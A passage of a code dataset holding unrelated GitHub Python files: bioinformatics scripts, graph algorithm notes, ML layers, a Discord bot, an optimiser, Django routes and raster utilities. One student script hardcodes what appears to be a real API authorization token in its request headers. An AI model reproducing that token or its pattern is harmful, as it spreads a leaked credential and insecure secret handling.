sc_af_heatmap.write_image(str(output_dir / f'{sample_name}-germline_SNP_sc_AF_heatmap.png'), format=\"png\", width=30 * filtered_g_snps.shape[0], height=0.5 * sample.dna.shape[0], scale=2)\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--sample_name', type=str, help='sample name', default=None)\n    parser.add_argument('--input_h5', type=str, help='input h5 file')\n    parser.add_argument('--sc_mean_AF_lower_bound', type=float, help='For identifying germline SNPs: sc_mean_AF_lower_bound (AF=0 not considered)', default=0.2,)\n    parser.add_argument('--sc_mean_AF_upper_bound', type=float, help='sc_mean_AF_upper_bound (AF=0 not considered)', default=0.8,)\n    parser.add_argument('--bulk_AF_lower_bound', type=float, help='For identifying germline SNPs: bulk_AF_lower_bound', default=0.2)\n    parser.add_argument('--output_dir', type=str, help='output directory to save CRAVAT results. Default to the parent directory of input H5.', default = None)\n\n    args = parser.parse_args(None if sys.argv[1:] else ['-h'])\n\n    main(args)","repo_name":"haochenz96/mosaic","sub_path":"scripts/ADO/calculate_ADO.py","file_name":"calculate_ADO.py","file_ext":"py","file_size_in_byte":4527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"19667577966","text":"# method 1: using DFS\n#logic:  just run the DFS and when there is no adjacent node put the node into the stack\n# At last print the stack in opposite direction\n\n# why came with DFS? \n# Ans: as DFS go deeper and deeper and we need to print the node with lesser outorder vertices first\n# means stop at node with no adjacent node(no outgoing vertices as DAG will must contain,\n#  at least one vertex with outgoing edge = 0 and incoming edge =0).\n\n# i.e we have to print the vertex with no outgoing edge at last and that can be done \n# while traversing back in case of DFS.\n\n# Note(VVI) for dfs method: here you are putting the node in the ans(stack), while traversing back that's why it's giving correct ans always\n# but if we put the node at start itself in the ans like when you are calling the dfs for that node then it will not give the corect ans always...\n# keep this in mind.. if you do like this graph like test case 2 will not work\n\n# if you do by finding the indegree like BFS then that will always give the correct ans as that is the basic of tolopogical sort.\n\n# Note: this method will only work if no cycle.. for cycle detecting and then printing see the below method that i submitted in Q \"269 Alien dictionary\"\n# or we can also modify in this like we can use two visited array like we did in cycle detection Q\n\n# from collections import defaultdict\n# class Graph:\n#     def __init__(self,n):\n#         self.V= n\n#         self.visited= [False]*n\n#         self.AdjList= defaultdict(list)\n    \n#     def addEdge(self,u,v):\n#         self.AdjList[u].append(v)\n\n#     def FindTopoSort(self, adj,src, stack):\n#         self.visited[src]= True\n#         for u in adj[src]:\n#             if not self.visited[u]:\n#                 self.FindTopoSort(adj, u, stack)  \n#         # while traversing back put the node into the stack and node with less no of outorder vertices \n#         # will be kept first(as it will start traversing back at this node only) so final ans will be the opposite of stack\n\n         # node with largest visiting time(or minimum finishing time) is pushed first when there is no further adjacent node is there which has not been visited\n#         stack.append(src)\n\n# you can start with any node, in dfs it doesn't matter in printing topological sort or detecting cycle\n#     def TopoSort(self,n, adj):\n#         stack= []\n#         for i in range(n):\n#             if not self.visited[i]:\n#                 self.FindTopoSort(adj,i,stack)\n#         while stack:  \n#             print(stack.pop(), end=\" \")\n\n# test case 1:\n# g= Graph(6)\n# g.addEdge(5,2)\n# g.addEdge(5,0)\n# g.addEdge(2,3)\n# g.addEdge(3,1)\n# g.addEdge(4,0)\n# g.addEdge(4,1)\n# print(g.AdjList)\n# g.TopoSort(6,g.AdjList)\n\n# test case 2:\n# g= Graph(3)\n# g.addEdge(0,2)\n# g.addEdge(0,1)\n# g.addEdge(1,2)\n\n\n# another way using dfs: this submitted in Q \"269 Alien dictionary\"\n\n\n# method 2 using BFS: Kahn's Algorithm\n# logic: use the concept of indegree as the node with indegree 0 will come at first and\n# node with more indegree will come later and so\n\n# This method can also be used to detect cycle in directed graph\n# just count the no of nodes added in the Q, if there will be cycle then count <n because  at some point \n# there will not be any node whose indegree will be equal to '0' to put into the Q or call the bfs function\n# here no need of visited set since we are adding only the node with 'indegree==0'\n\nfrom collections import defaultdict\nclass Graph:\n    def __init__(self,n):\n        self.V= n\n        # self.visited= [False]*n  # here no need of this as we are pushing on ele in Q and doing the operation on that\n        self.indegree= [0]*n\n        self.AdjList= defaultdict(list)\n    \n    def addEdge(self,u,v):\n        self.AdjList[u].append(v)\n    \n    # calculate the indegree of all node\n    def Indegree_count(self):\n        for i in range(self.V):\n            for k in self.AdjList[i]:  # if k is adj to 'i' means there is one indegree edge to 'k'\n                self.indegree[k]+= 1\n\n    def FindTopoSort(self):\n        Q, ans= [], []\n        # find the node with indegree '0' as this node will come 1st in the topological order\n        # i.e it will be the source node and after that apply the BFS\n        for i in range(self.V):   # will also work for more than one component\n            if self.indegree[i]==0:  # this will put node with indegree '0' of all component into the 'Q' and will check for each component\n                Q.append(i)\n\n        count= 0  # will count the no of times node is added in the ans\n        while Q:\n            count+= 1  \n            u= Q.pop(0)\n            ans.append(u)\n            # after poping decrease the indegree of all node adjacent to 'u'\n            for j in self.AdjList[u]:\n                self.indegree[j]-= 1\n                if self.indegree[j]== 0:  # after decreasing if any node has indegree == 0 then put in the Q\n                    Q.append(j)\n        # note: count will be less than 'V'.\n        if count!= self.V:  # for checking the cycle in directed graph using BFS .. \n            print(\"there exist a cycle in the graph\")\n        else:\n            print(ans)\n        \n# test case 1\n# g= Graph(6)\n# g.addEdge(5,2)\n# g.addEdge(5,0)\n# g.addEdge(2,3)\n# g.addEdge(3,1)\n# g.addEdge(4,0)\n# g.addEdge(4,1)\n\n# test case 2\n# g= Graph(3)\n# g.addEdge(0,1)\n# g.addEdge(1,2)\n# g.addEdge(2,0)\n# g.Indegree_count()\n# g.FindTopoSort()\n\n# test case 3\ng= Graph(3)\ng.addEdge(0,2)\ng.addEdge(0,1)\ng.addEdge(1,2)\nprint(g.AdjList)\ng.Indegree_count()\ng.FindTopoSort()\n\n\n# Note VVI: whenever you have to find the order of distinct elements, given some relation between them(or dependency)\n# must think of topological sort \n\n# Note: Use this template in other Q of topological sort\n\n# 1) Dfs template\nfrom collections import defaultdict\nimport collections\nclass Solution:\n    def canFinish(self, numCourses: int, prerequisites: List[List[int]]) -> bool:\n        AdjList= defaultdict(list)\n        # first convert into adjacency list(edges) for directed graph\n        # According to the meaning of the Q.\n        for second,first in prerequisites:\n            AdjList[first].append(second)\n\n        def checkCycle(src):\n            visited.add(src)\n            path_visited.add(src)\n            for u in AdjList[src]:\n                if u not in visited:\n                    if checkCycle(u):\n                        return True\n                elif u in path_visited:\n                    return True\n            path_visited.remove(src)\n            return False\n\n        visited= set()\n        path_visited= set()\n        for i in range(numCourses):\n            if i not in visited and checkCycle(i):    # if cycle simply return False, else continue checking for another node\n                return False\n        return True\n    \n    \n# method 2: bfs template\nfrom collections import defaultdict\nimport collections\nclass Solution:\n    def canFinish(self, numCourses: int, prerequisites: List[List[int]]) -> bool:\n        AdjList= defaultdict(list)\n        # first convert into adjacency list(edges) for directed graph\n        for first,second in prerequisites:\n            AdjList[second].append(first)  # phle 2nd wala course karenge tb hi first kar sakte h.\n        \n        n = numCourses\n        indegree= [0]*n\n        \n        # finding the indegree of each vertices\n        for i in range(n):\n            for k in AdjList[i]:  # if k is adj to 'i' means there is one indegree edge to 'k'\n                indegree[k]+= 1\n        \n        # now applying the BFS to get the topological order\n        count, ans = 0, []\n        Q  = collections.deque()\n        for i in range(n):\n            if indegree[i]==0: \n                Q.append(i)\n    \n        while Q:\n            count+= 1  \n            u= Q.popleft()\n            ans.append(u)\n            # after poping decrease the indegree of all node adjacent to 'u'\n            for j in AdjList[u]:\n                indegree[j] -= 1   \n                if indegree[j]== 0: \n                    Q.append(j)\n\n        if count!= n: \n            return False\n        return True","repo_name":"Ravi-0412/DSA-Program-And-Notes","sub_path":"Graph/Topologolical_sort.py","file_name":"Topologolical_sort.py","file_ext":"py","file_size_in_byte":8076,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"3"}
+{"seq_id":"41453471","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nclass SegmentationLoss(torch.autograd.Function):\n    @staticmethod\n    def forward(ctx, logit, label):\n        assert logit.dim() == 4, logit.size()\n        assert label.dim() == 3, label.size()\n\n        softmax = F.softmax(logit, 1)\n        n, c, h, w = softmax.size()\n\n        label_oh = F.one_hot(label, 256)[..., :c].permute(0, 3, 1, 2).float().contiguous()\n        if (label_oh.size(2) != h) or (label_oh.size(3) != w):\n            label_oh = F.interpolate(label_oh, (h, w), mode='bilinear')\n            val, idx = label_oh.max(1)\n            label_oh = F.one_hot(idx, c).permute(0, 3, 1, 2).float().contiguous() * \\\n                    (val.unsqueeze(1) > 0.5).float()\n\n        label_mask = label_oh.max(1, keepdim=True)[0]\n        loss = - ( label_oh * torch.log(softmax + 1e-5) ).sum() / (label_mask.sum() + 1e-5)\n\n        #lr_mult = torch.ones((1,), device=loss.device, dtype=loss.dtype)[0] * lr_mult\n        #ctx.save_for_backward(softmax, label_oh, label_mask, lr_mult)\n        ctx.save_for_backward(softmax, label_oh, label_mask)\n        return loss\n\n    @staticmethod\n    def backward(ctx, grad_output):\n        #softmax, label_oh, label_mask, lr_mult = ctx.saved_tensors\n        softmax, label_oh, label_mask = ctx.saved_tensors\n        grad_logit = grad_label = None\n\n        if ctx.needs_input_grad[0]:\n            num_pix = torch.clamp_min(label_mask.sum(), 1)\n            grad_logit = ( (softmax - label_oh) * label_mask ) * (grad_output / num_pix)\n\n        return grad_logit, grad_label\n\nsegmentation_loss = SegmentationLoss.apply\n","repo_name":"js-fan/MCIC","sub_path":"core/model/custom_layer/segmentation_loss.py","file_name":"segmentation_loss.py","file_ext":"py","file_size_in_byte":1618,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"17301322064","text":"import discord\nfrom discord.ext import commands\nfrom functions import *\n\nTOKEN: str = ''\nCHANNEL_ID: int = 0\nclient = commands.Bot(command_prefix = '.', intents = discord.Intents.all())\n\n@client.event\nasync def on_ready(): print('cum')\n\n@client.event\nasync def on_message(message):\n    message_content: str = str(message.content)\n    channel = message.channel.id\n    if channel != CHANNEL_ID: return\n    try:\n        int(message_content)\n    except ValueError:\n        await message.delete()\n        return\n    if int(message_content) - 1 == get_number(\"data\") and str(message.author) != get_user(\"data\"):\n        update_data(\"data\", get_number(\"data\"), str(message.author))\n    else:\n        await message.delete()\n\nclient.run(TOKEN)","repo_name":"1upses/counting_discord_bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40646917551","text":"import numpy as np\n\nclass RNN:\n    def __init__(self, Wx, Wh, h0):\n        \"\"\"\n        Wx : 入力xにかかる重み（1,隠れ層のノード数）\n        Wh : 1時刻前のhにかかる重み（隠れ層のノード数, 隠れ層のノード数）\n        h0 : 隠れ層の初期値（1,隠れ層のノード数）\n        \"\"\"\n\n        # パラメータのリスト\n        self.params = [Wx, Wh]\n\n        # 隠れ層の初期値を設定\n        self.h_prev = h0\n\n    def forward(self, x):\n        \"\"\"\n        順伝播計算\n        x : 入力（データ数,1）\n        \"\"\"\n        Wx, Wh = self.params\n        h_prev = self.h_prev\n\n        t = np.dot(h_prev, Wh) + np.dot(x, Wx)\n\n        # 活性化関数は恒等写像関数とする\n        h_next = t\n\n        # 隠れ層の状態の保存\n        self.h_prev = h_next\n\n        return h_next\n\n    \nif __name__==\"__main__\":\n    Wx = np.arange(1*5).reshape(1, 5)\n    print(\"Wx\\n\", Wx)\n    Wh = np.arange(5*5).reshape(5, 5)\n    print(\"Wh\\n\", Wh)    \n    h0 = np.arange(5).reshape(1, 5)\n    print(\"h0\\n\", h0) \n    \n    rnn = RNN(Wx, Wh, h0)\n    \n    x = np.arange(3*1).reshape(3, 1)\n    print(\"x\\n\", x)\n    \n    h_next = rnn.forward(x)\n    print(\"h_next\\n\", h_next)\n","repo_name":"skillup-ai/tettei-engineer","sub_path":"chapter14/Q2_ans.py","file_name":"Q2_ans.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"ja","doc_type":"code","stars":26,"dataset":"github-code","pt":"3"}
+{"seq_id":"21491147702","text":"from math import inf\nimport random\nimport logging\nfrom tqdm import tqdm\nfrom visualize import draw\nimport numpy as np \nimport os \nclass HarmonySearch():\n    def __init__(self, objective_function, AoI, cell_size, hms=30, hmv=7, hmcr=0.9, par=0.3, BW=0.2, lower=[], upper=[], min_no = 0, savedir = './baseline'):\n        \"\"\"\n            param explaination\n            \n            :param hms: harmony memory size, number of vectors stored in harmony memory\n            :param hmv: harmony vector size\n            :param hmcr: probability for each node considering\n            :param par: pitch adjustment rate\n            :param BW: distance bandwidth, used for adjust node position when pich adjustment is applied\n            :param lower: list contains coordinates for bottom corners\n            :param upper: list contains coordinates for upper corners\n        \"\"\"\n        self.root_dir = savedir\n        self.image_dir = os.path.join(self.root_dir, 'plot')\n        self.log_dir = os.path.join(self.root_dir, 'log')\n        if not os.path.exists(self.root_dir):\n            print('Make log dir')\n            os.makedirs(self.root_dir)\n            os.makedirs(self.image_dir)\n            os.makedirs(self.log_dir)\n        else:\n            raise ValueError('Save in another dir')\n        \n        self._obj_function = objective_function\n        self.radius = self._obj_function.get_radius()\n        self.hms = hms\n        self.hmv = hmv\n        self.hmcr = hmcr\n        self.par = par\n        self.BW = BW\n        self.lower = lower\n        self.upper = upper\n        self.min_no = min_no\n        self.AoI = AoI\n        self.cell_size = cell_size\n\n        \n        self.logger2 = logging.getLogger(name='best maximum coverage ratio')\n        self.logger2.setLevel(logging.INFO)\n        handler2 = logging.FileHandler(os.path.join(self.log_dir, 'best_maximum_coverage_ratio.log'))\n        handler2.setLevel(logging.INFO)\n        formatter2 = logging.Formatter('%(levelname)s: %(message)s')\n        handler2.setFormatter(formatter2)\n        self.logger2.addHandler(handler2)\n        self.best_coverage = 0\n\n    def _random_selection(self, min_valid):\n        harmony = []\n        for each_node in range(self.hmv):\n            type_ = random.choice([0, 1])\n            if type_ == 0:\n                x = self.lower[0][0] + (self.upper[0][0] - self.lower[0][0])*random.random()\n                y = self.lower[0][1] + (self.upper[0][1] - self.lower[0][1])*random.random()\n            else:\n                x = self.lower[1][0] + (self.upper[1][0] - self.lower[1][0])*random.random()\n                y = self.lower[1][1] + (self.upper[1][1] - self.lower[1][1])*random.random()\n            harmony.append([x, y])\n        return harmony\n    \n    def _centroid_selection(self, min_valid):\n        num_width_cell = self.AoI[0] // self.cell_size[0]\n        num_height_cell = self.AoI[1] // self.cell_size[1]\n        # harmony = [[-1, -1]] * self.hmv\n        # type_trace = [random.choice(range(len(self.upper))) for i in range(self.hmv)]\n        # valid_nodes = random.sample(range(self.hmv), random.randrange(min_valid, num_width_cell*num_height_cell + 1))\n        # id_valid_cell = random.sample(range(num_width_cell*num_height_cell), len(valid_nodes))\n        id_valid_cell = list(range(self.hmv))\n        random.shuffle(id_valid_cell)\n        harmony = []\n        type_trace = []\n        for ids in range(self.hmv):\n            type_ = random.choice([0,1])\n            width_coor = id_valid_cell[ids] % num_width_cell\n            height_coor = id_valid_cell[ids] // num_width_cell\n            x = width_coor * self.cell_size[0] + self.cell_size[0] / 2\n            y = height_coor * self.cell_size[1] + self.cell_size[1] / 2\n            # harmony[each_node] = [x, y]\n            # type_trace[each_node] = type_\n            harmony.append([x, y])\n            type_trace.append(type_)\n        return harmony, type_trace\n        \n    def _cell_selection(self, min_valid):\n        num_width_cell = self.AoI[0] // self.cell_size[0]\n        num_height_cell = self.AoI[1] // self.cell_size[1]\n        # harmony = [[-1, -1]] * self.hmv\n        # type_trace = [random.choice(range(len(self.upper))) for i in range(self.hmv)]\n        # valid_nodes = random.sample(range(self.hmv), random.randrange(min_valid, num_width_cell*num_height_cell + 1))\n        # id_valid_cell = random.sample(range(num_width_cell*num_height_cell), len(valid_nodes))\n        id_valid_cell = list(range(self.hmv))\n        random.shuffle(id_valid_cell)\n        harmony = []\n        type_trace = []\n        for ids in range(self.hmv):\n            type_ = random.choice([0,1])\n            width_coor = id_valid_cell[ids] % num_width_cell\n            height_coor = id_valid_cell[ids] // num_width_cell\n            x = width_coor * self.cell_size[0] + self.cell_size[0]*random.random()\n            y = height_coor * self.cell_size[1] + self.cell_size[1]*random.random()\n            # harmony[each_node] = [x, y]\n            # type_trace[each_node] = type_\n            harmony.append([x, y])\n            type_trace.append(type_)\n        return harmony, type_trace\n\n    def _initialize_harmony(self, type = \"default\", min_valid=14, initial_harmonies=None):\n        \"\"\"\n            Initialize harmony_memory, the matrix containing solution vectors (harmonies)\n        \"\"\"\n        if initial_harmonies is not None:\n            # assert len(initial_harmonies) == self._obj_function.get_hms(),\\\n            #     \"Size of harmony memory and objective function is not compatible\"\n            # assert len(initial_harmonies[0]) == self._obj_function.get_num_parameters(),\\\n            #     \"Number of params in harmony memory and objective function is not compatible\"\n            for each_harmony, type_trace in initial_harmonies:\n                self._harmony_memory.append((each_harmony, self._obj_function.get_fitness(each_harmony, type_trace)[0]))\n        else:\n            assert type in [\"default\", \"centroid\", \"cell\"], \"Unknown type of initialization\"\n            self._harmony_memory = []\n            if type == \"default\":\n                for _ in range(0, self._obj_function.get_hms()):\n                    harmony = self._random_selection(min_valid)\n                    fitness, type_trace = self._obj_function.get_fitness(harmony)\n                    self._harmony_memory.append((harmony, type_trace, fitness[0]))\n            elif type == \"centroid\":\n                for _ in range(0, self._obj_function.get_hms()):\n                    harmony, type_trace = self._centroid_selection(min_valid)\n                    fitness, type_trace = self._obj_function.get_fitness(harmony)\n                    self._harmony_memory.append((harmony, type_trace, fitness[0]))\n            elif type == \"cell\":\n                for _ in range(0, self._obj_function.get_hms()):\n                    harmony, type_trace = self._cell_selection(min_valid)\n                    fitness, type_trace = self._obj_function.get_fitness(harmony)\n                    self._harmony_memory.append((harmony, type_trace, fitness[0]))\n\n    def _memory_consideration(self):\n        \"\"\"\n            Generate new harmony from previous harmonies in harmony memory\n            Apply pitch adjustment with par probability\n        \"\"\"\n        harmony = []\n        for i in range(self.hmv):\n            p_hmcr = random.random()\n            if p_hmcr < self.hmcr:\n                id = random.choice(range(self.hms))\n                [x, y] = self._harmony_memory[id][0][i]\n                [x, y] = self._pitch_adjustment([x, y])\n            else:\n                type_ = random.choice([0, 1])\n                if type_ == 0:\n                    x = self.lower[0][0] + (self.upper[0][0] - self.lower[0][0])*random.random()\n                    y = self.lower[0][1] + (self.upper[0][1] - self.lower[0][1])*random.random()\n                else:\n                    x = self.lower[1][0] + (self.upper[1][0] - self.lower[1][0])*random.random()\n                    y = self.lower[1][1] + (self.upper[1][1] - self.lower[1][1])*random.random()\n\n            if x > self.upper[1][0] or x < self.lower[0][0]:\n                x = -1\n            if y > self.upper[1][1] or y < self.lower[0][1]:\n                y = -1\n            harmony.append([x, y])\n        \n        return harmony\n\n    def _pitch_adjustment(self, position):\n        \"\"\"\n            Adjustment for generating completely new harmony vectors\n        \"\"\"\n        p_par = random.random()\n        if p_par < self.par:\n            bw_rate = random.uniform(-1,1)\n            position[0] = self.BW*bw_rate + position[0]\n            position[1] = self.BW*bw_rate + position[1]\n        return position\n\n    def _new_harmony_consideration(self, harmony, fitness, type_trace):\n        \"\"\"\n            Update harmony memory\n        \"\"\"\n        # (fitness, _), type_trace = self._obj_function.get_fitness(harmony)\n        \n        worst_fitness = float(\"+inf\")\n        worst_ind = -1\n        best_fitness = float(\"-inf\")\n        best_ind = -1\n        for ind, (_, _x, each_fitness) in enumerate(self._harmony_memory):\n            if each_fitness < worst_fitness:\n                worst_fitness = each_fitness\n                worst_ind = ind\n            \n            if each_fitness > best_fitness:\n                best_fitness = each_fitness\n                best_ind = ind\n        \n        if fitness >= worst_fitness:\n            self._harmony_memory[worst_ind] = (harmony, type_trace, fitness)\n        \n        return best_ind\n\n    def _get_best_fitness(self):\n        \"\"\"\n            Gest best fitness and corresponding harmony vector in harmony memory\n        \"\"\"\n        best_fitness = float(\"-inf\")\n        best_harmony = []\n        for each_harmony, type_trace, each_fitness in self._harmony_memory:\n            if each_fitness > best_fitness:\n                best_fitness = each_fitness\n                best_harmony = each_harmony\n                type_ = type_trace\n        return best_harmony, type_, best_fitness\n\n    def _get_best_coverage_ratio(self):\n        best_harmony, type_trace = self._get_best_fitness()[0:2]\n        (_, coverage_ratio), _ = self._obj_function.get_fitness(best_harmony)\n        return coverage_ratio\n\n    def _evaluation(self, threshold):\n        coverage_ratio = self._get_best_coverage_ratio()\n        best_harmony, type_, best_fitness = self._get_best_fitness()\n        if coverage_ratio > self.best_coverage and coverage_ratio >= threshold:\n            self.logger.info(f\"Pos: {str(best_harmony)}\\nType: {str(type_)}\\nCoverage: {str(coverage_ratio)}\")\n            self.best_coverage = coverage_ratio\n            self.logger.info(\"This harmony is sastified\")\n        elif coverage_ratio >= threshold:\n            self.logger.info(f\"Pos: {str(best_harmony)}\\nType: {str(type_)}\\nCoverage: {str(coverage_ratio)}\")\n            self.logger.info(\"This harmony is sastified\")\n        elif coverage_ratio > self.best_coverage:\n            self.logger.info(f\"Pos: {str(best_harmony)}\\nType: {str(type_)}\\nCoverage: {str(coverage_ratio)}\")\n            self.best_coverage = coverage_ratio\n        return False\n\n    def _count_sensor(self, harmony):\n        count_ = 0\n        for item in harmony:\n            if item[0] >= 0 and item[1] >= 0:\n                count_ += 1\n        return count_\n    \n    def _search(self, nSearch):\n        bestharmony = None \n        besttrace = None\n        best = float('-inf')\n        \n        for i in range(nSearch):\n            candidate_harmony = self._memory_consideration()\n            (candidatefitness, _), type_trace = self._obj_function.get_fitness(candidate_harmony)\n            if candidatefitness > best:\n                best=candidatefitness\n                bestharmony = candidate_harmony\n                besttrace=type_trace\n        \n        return bestharmony, best, besttrace\n    \n    def run(self, type_init=\"default\", min_valid=14,steps=100, threshold=0.9,order=0, logger=None):\n        \n        print(\"Start run:\")\n        self._initialize_harmony(type_init, min_valid)\n\n        best_ind = -1\n        for i in tqdm(range(steps)):\n            # new_harmony = self._memory_consideration()\n            new_harmony, new_fitness, new_trace = self._search(10)\n\n            new_best_ind = self._new_harmony_consideration(new_harmony, new_fitness, new_trace)\n\n            best_harmony, best_type, best_fitness = self._harmony_memory[best_ind]\n            \n            if new_best_ind != best_ind:\n                best_ind = new_best_ind\n                logger.info(f'Step: {str(i)} Best harmony: {str(best_harmony)} Type: {str(best_type)} Best_fitness: {str(best_fitness)}')\n                logger.info('------------------------------------------------------------------------------------')\n\n        best_harmony, best_type, best_fitness = self._harmony_memory[best_ind]\n        \n   \n        used_node = []\n        type_trace = best_type\n        for ind, node in enumerate(best_harmony):\n            if node[0] > 0 and node[1] > 0:\n                used_node.append(node)\n        coverage = self._obj_function.get_coverage_ratio(used_node, type_trace)\n        no_used = len(used_node)\n        no_used_convert = sum(type_trace) + (len(type_trace)-sum(type_trace))/2\n\n        draw(used_node, type_trace, os.path.join(self.image_dir, './fig{}.png'.format(str(order))))\n\n        # save the best for1 runs\n        self.logger2.info(f'Best harmony: {str(best_harmony)}\\nType: {str(type_trace)}\\nBest_fitness: {str(best_fitness)}\\nCoressponding coverage: {str(coverage)} \\nCoressponding sensors: {str(no_used)} and {str(no_used_convert)}')\n        self.logger2.info('------------------------------------------------------------------------------------')\n        \n        \n        \n        return best_fitness, coverage, no_used, no_used_convert\n    \n    def test(self, type_init=\"default\", min_valid=14, steps=60000, threshold=0.9, file='logging.txt', num_run=12):\n        coverage = []\n        fitness = []\n        used = []\n        cost = []\n        corr = []\n        for i in range(num_run):\n            logger = logging.getLogger(name='harmony{}'.format(str(i)))\n            logger.setLevel(logging.INFO)\n            handler = logging.FileHandler(os.path.join(self.log_dir, \"output{}.log\".format(i)))\n            handler.setLevel(logging.INFO)\n            formatter = logging.Formatter('%(levelname)s: %(message)s')\n            handler.setFormatter(formatter)\n            logger.addHandler(handler)\n            \n            ifitness, icover, iused, iusedconvert = self.run(type_init, min_valid, steps, threshold, i, logger)\n            \n            coverage.append(icover)\n            fitness.append(ifitness)\n            used.append(iused)\n            corr.append(iusedconvert/25)\n            cost.append(icover - iusedconvert/25)\n        \n\n        self.logger2.info('------------------------------------------------------------------------------------') \n        self.logger2.info('------------------------------------------------------------------------------------') \n        self.logger2.info(f'Coverage mean, std : {str(np.mean(coverage))} and {str(np.std(coverage))}')\n        self.logger2.info(f'Used mean, std : {str(np.mean(used))} and {str(np.std(used))}')\n        self.logger2.info(f'Corr Used mean, std : {str(np.mean(corr))} and {str(np.std(corr))}')\n        self.logger2.info(f'Cost mean, std : {str(np.mean(cost))} and {str(np.std(cost))}')\n        self.logger2.info(f'Fitness mean, std : {str(np.mean(fitness))} and {str(np.std(fitness))}')","repo_name":"ginlov/hsa","sub_path":"harmony_search.py","file_name":"harmony_search.py","file_ext":"py","file_size_in_byte":15478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"27209224211","text":"'''\nJustin Young\nLab 09\nVersion2\n'''\n\nimport requests\nimport pprint\nimport time\n\ninc = 1\nu_term = input('enter a keyword to search for quotes: ')\np_num = 1\nurl = requests.get('https://favqs.com/api/quotes', params={'filter':{u_term}, 'page':{p_num}}, headers={'Authorization': 'Token token=\"855df50978dc9afd6bf86579913c9f8b\"'})\nquotes = url.json()['quotes']\nwhile True:\n    print('-----------------------------------------------------------------------')\n    print(f'There are {len(quotes)} quotes associated with {u_term} - page {p_num}')\n    print('-----------------------------------------------------------------------')\n    for q in quotes:\n        print(q['body'])\n    print('-----------------------------------------------------------------------')\n    if url.json()['last_page'] == True:\n        print('Thats all the quotes!!')\n        break\n    if url.json()['last_page'] == False:\n        a = input(\"enter 'next page' or 'done': \")\n        if a == 'done':\n            break\n        if a == 'next page':\n            p_num += 1\n            url = requests.get('https://favqs.com/api/quotes', params={'filter':{u_term}, 'page':{p_num}}, headers={'Authorization': 'Token token=\"855df50978dc9afd6bf86579913c9f8b\"'})\n            quotes = url.json()['quotes']\n            \n","repo_name":"PdxCodeGuild/class_HB2","sub_path":"code/justin/Python/lab09_version2.py","file_name":"lab09_version2.py","file_ext":"py","file_size_in_byte":1275,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"33953740163","text":"from . import views\nfrom django.urls import path, include\nfrom rest_framework import routers\nrouter = routers.DefaultRouter()\nrouter.register('surveys', views.SurveyViewSet)\napp_name='query'\nurlpatterns = [\n    path('surveys/',views.SurveyListView.as_view(),name='survey_list'),\n    path('', include(router.urls)),\n]","repo_name":"Shuhratkh/test","sub_path":"api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"74583565842","text":"import json\nimport logging\nimport multiprocessing as mp\nimport os\nimport subprocess\nimport tempfile\nfrom itertools import zip_longest\nfrom multiprocessing.pool import ThreadPool\n\nimport fiona\nimport numpy as np\nimport pyproj\nimport rasterio\nfrom packaging import version\nfrom pyproj.crs import CRS\nfrom pyproj.enums import WktVersion\nfrom rasterio.windows import Window\nfrom shapely.geometry import mapping\nfrom shapely.ops import transform\nfrom skimage import exposure\nfrom tqdm import tqdm\nfrom tqdm.contrib.logging import logging_redirect_tqdm\n\n__author__ = \"Damián Silvani\"\n__copyright__ = \"Dymaxion Labs\"\n__license__ = \"Apache-2.0\"\n\n_logger = logging.getLogger(__name__)\n\n\ndef grouper(iterable, n, fillvalue=None):\n    \"Collect data into fixed-length chunks or blocks\"\n    # grouper('ABCDEFG', 3, 'x') --> ABC DEF Gxx\"\n    args = [iter(iterable)] * n\n    return zip_longest(*args, fillvalue=fillvalue)\n\n\ndef sliding_windows(size, step_size, width, height, mode=\"exact\"):\n    \"\"\"Slide a window of +size+ by moving it +step_size+ pixels\n\n    Parameters\n    ----------\n    size : int\n        window size, in pixels\n    step_size : int\n        step or *stride* size when sliding window, in pixels\n    width : int\n        image width\n    height : int\n        image height\n    mode : str (default: 'exact')\n        either one of 'exact', 'whole', 'whole_overlap'.\n        - 'exact': clip windows at borders, if needed\n        - 'whole': only whole windows\n        - 'whole_overlap': only wohle windows, allow overlapping windows at borders.\n\n    Yields\n    ------\n    Tuple[Window, Tuple[int, int]]\n        a pair of Window and a pair of position (i, j)\n\n    \"\"\"\n    w, h = size\n    sw, sh = step_size\n\n    whole = mode in (\"whole\", \"whole_overlap\")\n    end_i = height - h if whole else height\n    end_j = width - w if whole else width\n\n    last_pos_i, last_pos_j = 0, 0\n    for pos_i, i in enumerate(range(0, end_i, sh)):\n        for pos_j, j in enumerate(range(0, end_j, sw)):\n            real_w = w if whole else min(w, abs(width - j))\n            real_h = h if whole else min(h, abs(height - i))\n            yield Window(j, i, real_w, real_h), (pos_i, pos_j)\n            last_pos_i, last_pos_j = pos_i, pos_j\n\n    if mode == \"whole_overlap\" and (height % sh != 0 or width % sw != 0):\n        for pos_i, i in enumerate(range(0, height - h, sh)):\n            yield Window(width - w, i, w, h), (\n                pos_i,\n                last_pos_j + 1,\n            )\n        for pos_j, j in enumerate(range(0, width - w, sw)):\n            yield Window(j, height - h, w, h), (\n                last_pos_i + 1,\n                pos_j,\n            )\n        yield Window(width - w, height - h, w, h), (last_pos_i + 1, last_pos_j + 1)\n\n\ndef rescale_intensity(image, rescale_mode, rescale_range):\n    \"\"\"\n    Calculate percentiles from a range cut and\n    rescale intensity of image to byte range\n\n    Parameters\n    ----------\n    image : numpy.ndarray\n        image array\n    rescale_mode : str\n        rescaling mode, either 'percentiles' or 'values'\n    rescale_range : Tuple[number, number]\n        input range for rescaling\n\n    Returns\n    -------\n    numpy.ndarray\n        rescaled image\n    \"\"\"\n\n    if rescale_mode == \"percentiles\":\n        in_range = np.percentile(image, rescale_range, axis=(1, 